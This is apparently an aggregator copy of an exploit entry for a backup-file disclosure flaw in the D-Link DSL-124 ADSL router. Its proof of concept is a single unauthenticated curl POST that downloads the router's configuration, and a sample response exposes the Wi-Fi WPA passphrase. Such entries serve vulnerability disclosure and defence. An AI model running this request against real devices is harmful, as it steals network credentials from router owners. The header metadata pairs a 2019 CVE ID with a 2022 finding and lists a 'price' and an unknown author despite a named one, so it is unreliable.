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DSL-124 Wireless N300 ADSL2+ - Backup File Disclosure

CVE Category Price Severity
CVE-2019-3837 CWE-358 $2,000 High
Author Risk Exploitation Type Date
Unknown Critical Remote 2023-04-02
CVSS
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023040011

Below is a copy:

DSL-124 Wireless N300 ADSL2+ - Backup File Disclosure
# Exploit Title: DSL-124 Wireless N300 ADSL2+ - Backup File Disclosure
# Date:  2022-11-10
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.dlink.com
# Software Link: https://dlinkmea.com/index.php/product/details?det=dU1iNFc4cWRsdUpjWEpETFlSeFlZdz09
# Firmware Version: ME_1.00
# Tested on: Windows 11

# [ Details - DSL-124 ]:
#The DSL-124 Wireless N300 ADSL2+ Modem Router is a versatile, high-performance router for a home or small office,
#With integrated ADSL2/2+, supporting download speeds up to 24 Mbps, firewall protection,
#Quality of Service (QoS),802.11n wireless LAN, and four Ethernet switch ports,
#the Wireless N300 ADSL2+ Modem Router provides all the functions that a user needs to establish a secure and high-speed link to the Internet.

# [ Description ]:
#After the administrator enters and a new session is created, the attacker sends a request using the post method in her system,
#and in response to sending this request, she receives a complete backup of the router settings,
#In fact this happens because of the lack of management of users and sessions in the network.

# [ POC ]:

Request :

curl -d "submit.htm?saveconf.htm=Back+Settings" -X POST http://192.168.1.1/form2saveConf.cgi

Response :

HTTP/1.1 200 OK
Connection: close
Server: Virtual Web 0.9
Content-Type: application/octet-stream;
Content-Disposition: attachment;filename="config.img"
Pragma: no-cache
Cache-Control: no-cache

<Config_Information_File_8671>
<V N="WLAN_WPA_PSK" V="pass@12345"/>
<V N="WLAN_WPA_PSK_FORMAT" V="0x0"/>
<V N="WLAN_WPA_REKEY_TIME" V=""/>
<V N="WLAN_ENABLE_1X" V="0x0"/>
<V N="WLAN_ENABLE_MAC_AUTH" V="0x0"/>
<V N="WLAN_RS_IP" V="0.0.0.0"/>
.
.
.
</Config_Information_File_8671>

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